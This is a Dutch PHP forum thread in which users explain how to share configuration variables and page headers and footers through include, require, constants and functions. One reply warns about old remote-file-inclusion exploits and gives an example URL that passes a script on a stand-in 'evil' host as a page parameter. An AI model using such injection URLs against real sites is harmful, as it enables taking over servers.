Sourcecodes includen in php
Waarom zijn ze eigenlijk gescheiden? Als je bepaalde data uit een ander systeem wilt opvragen, dan lijkt het mij zinniger om een (REST) API te gebruiken in het doel-systeem. Terwijl je in je bron-systeem A de boel dan bij B ophaalt.
Als ik bijvoorbeeld gegevens van Facebook wilt gebruiken, heb ik ook geen toegang tot hun source. Maar kan ik uitsluitend via een API hier toegang tot krijgen.
Echter hoort er in een library bij voorkeur één enkele class te staan. Dit gaat dan over OOP programmeren.
Wil je procedureel programmeren dan zou je libraries kunnen maken met één of enkele functies er in.
Uiteraard kun je de libraries gewoon kopiëren naar andere projecten.
De Footer die jij noemt is wat mij betreft een uitzondering. Dit is een gedeelte van de VIEW. Deze plaats je dus niet bij de echte libraries maar in een folder met een naam als "templates" bijvoorbeeld.
En gelukkig gaat dat niet ;-)
- Ariën - op 13/10/2017 15:44:25:
Ik denk dat hij iets als dit probeerde:
En gelukkig gaat dat niet ;-)
En gelukkig gaat dat niet ;-)
Dat gaat prima indien URL include wrappers ingeschakeld staan en www.new-example.org de PHP-support uit heeft staan zodat rauwe code wordt opgehoest.
Sterker nog, vroegah leden veel websites op shared/gratis hosting onder dit soort url-include-exploits (http://mijngratishost.com/hennie/index.php?page=http://www.evil.org/hackme.txt)
- Ariën - op 13/10/2017 17:02:48:
Infeite sta je in jouw situatie gewoon gezellig plain-text scripts op te halen.
Mja, die vervolgens als PHP geïnterpreteerd worden omdat je deze via PHP include. Plaintext kan prima PHP-code bevatten. Hoe dit tekstbestand behandeld/verwerkt wordt staat los van het feit dat het een tekstbestand is.
Gewijzigd op 13/10/2017 19:20:53 door Thomas van den Heuvel
Quote:
Ik wil variabelen die ik in meerdere pagina’s gebruik apart includen
Hebben ze daar geen sessions voor uitgevonden of begrijp ik je verkeerd?
Of als je wel met include wenst te werken define?
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.
define("GREETING", "Hello you.", true);
echo GREETING; // outputs "Hello you."
echo Greeting; // outputs "Hello you."
// Works as of PHP 7
define('ANIMALS', array(
'dog',
'cat',
'bird'
));
echo ANIMALS[1]; // outputs "cat"
?>
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.
define("GREETING", "Hello you.", true);
echo GREETING; // outputs "Hello you."
echo Greeting; // outputs "Hello you."
// Works as of PHP 7
define('ANIMALS', array(
'dog',
'cat',
'bird'
));
echo ANIMALS[1]; // outputs "cat"
?>
- configuratie-variabelen
- een manier om herhalende/standaard delen in een pagina-ontwerp in te voegen
Deze hebben elk een iets ander gedrag dus deze zou ik niet op eenzelfde hoop gooien.
Configuratie-variabelen zitten vaak in een apart bestand. Je kunt dit op een heleboel manieren structureren, bijvoorbeeld met constanten zoals @Bart hierboven aangeeft. Maar ook alles opslaan in een configuratie-object of één groot array zijn opties. Je (Jan) geeft aan dat dat niet (of niet altijd?) werkt. Dit kan te maken hebben met het geldigheidsgebied, ofwel de scope van variabelen. Mogelijk ben je bijvoorbeeld het volgende gewend vanuit JavaScript:
Code (php)
1
2
3
4
5
6
7
2
3
4
5
6
7
var hello = 'Hello World.';
function test() {
alert(hello);
}
test();
function test() {
alert(hello);
}
test();
De variabele "hello" is bekend in alle "ondergelegen codeniveau's", zo ook de functie die na de declaratie van "hello" staat gedefinieerd.
PHP hanteert een wat strictere scheiding, de volgende code:
Levert een foutmelding op:
Quote:
Notice: Undefined variable: hello in <het script> on line <regelnummer>
Dit komt omdat de functie test (echt) een aparte (en gescheiden) variabelen-ruimte (scope) heeft ten opzichte van alles wat buiten die functie plaatsvindt. Als je wilt dat de functie test() de variabele $hello kent zul je deze op een of andere manier bekend moeten maken. Dit zou je bijvoorbeeld kunnen doen door deze aan de functie door te geven als parameter:
Code (php)
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
<?php
$hello = 'Hello World.';
function test($message) {
echo $message;
}
test($hello);
?>
$hello = 'Hello World.';
function test($message) {
echo $message;
}
test($hello);
?>
Of, maar niet aan te raden, $hello uit de globale(re) scope te trekken:
Code (php)
Of je zou $test als constante kunnen definiëren. Constanten worden niet beperkt door scope en zijn overal toegankelijk:
Traditioneel worden constanten altijd volledig in HOOFDLETTERS opgesteld. De vraag is of je zo je variabelen wilt definiëren - dit hangt een beetje van het gebruik af, zijn dit echt alle variabelen die configuratie regelen en waarvan je wilt dat deze ook overal opvraagbaar (en ook bruikbaar!) zijn of verzorgen deze ook andere taken of hebben deze een wat beperkter doel dan universele bekendheid?
Ook zou je gewoon een platte lijst kunnen bijhouden in een array, dit zou ik verkiezen boven "losse" variabelen omdat de kans dan wat kleiner is dat je deze per ongeluk overschrijft omdat deze alle opgehangen zijn aan één kapstok (de naam van het array). Dit array zou je vervolgens in een apart bestand onder kunnen brengen, bijvoorbeeld config.php:
Binnen de scope (functie) waarin je deze config nodig hebt include je deze met "require" (hiermee stel je het aanwezig zijn van je configuratie-bestand verplicht, dit in tegenstelling tot een normale "include"):
Code (php)
Goed, mogelijkheden te over.
Dan zijn daar nog standaard HTML snippets, in zijn eenvoudigste vorm zou je dit kunnen doen via require_once. Bijvoorbeeld voor een pagina-header en -footer.
Vaak wil je wel specifieke dingen variabel kunnen houden in deze onderdelen. Zo zou je in een header een pagina-titel in will stellen, en eventueel JavaScript- of CSS-bestanden in willen voegen. In een footer zou je misschien nog iets anders kwijt willen. Er is dan ook iets voor te zeggen om hier ook functies van te maken die je parameters kunt voeren.
Header:
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function __header($pageTitle) {
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title><?php echo $pageTitle ?></title>
</head>
<body><?php
}
?>
function __header($pageTitle) {
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title><?php echo $pageTitle ?></title>
</head>
<body><?php
}
?>
Footer:
Code (php)
1
2
3
4
5
6
2
3
4
5
6
<?php
function __footer() {
?></body>
</html><?php
}
?>
function __footer() {
?></body>
</html><?php
}
?>
Pagina:
Code (php)
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
<?php
// print header
__header('This is the page title');
?><h1>My page header</h1>
<p>Hello World.</p><?php
// print footer
__footer();
?>
// print header
__header('This is the page title');
?><h1>My page header</h1>
<p>Hello World.</p><?php
// print footer
__footer();
?>
Op een soortgelijke wijze als vorige voorbeelden zou je de functies in aparte bestanden kunnen zetten en ook kunnen includen in de pagina zelf. Dit zou je dan via require_once kunnen doen omdat je een header en een footer doorgaans maar één keer nodig hebt in een pagina-opbouw.
Merk op dat het "Pagina" script een volledig -en kloppend- HTML-document produceert.
Gewijzigd op 14/10/2017 17:24:54 door Thomas van den Heuvel
Dank voor jouw uitvoerige tutorial. Dank, ik begin het php include te snappen. Dank!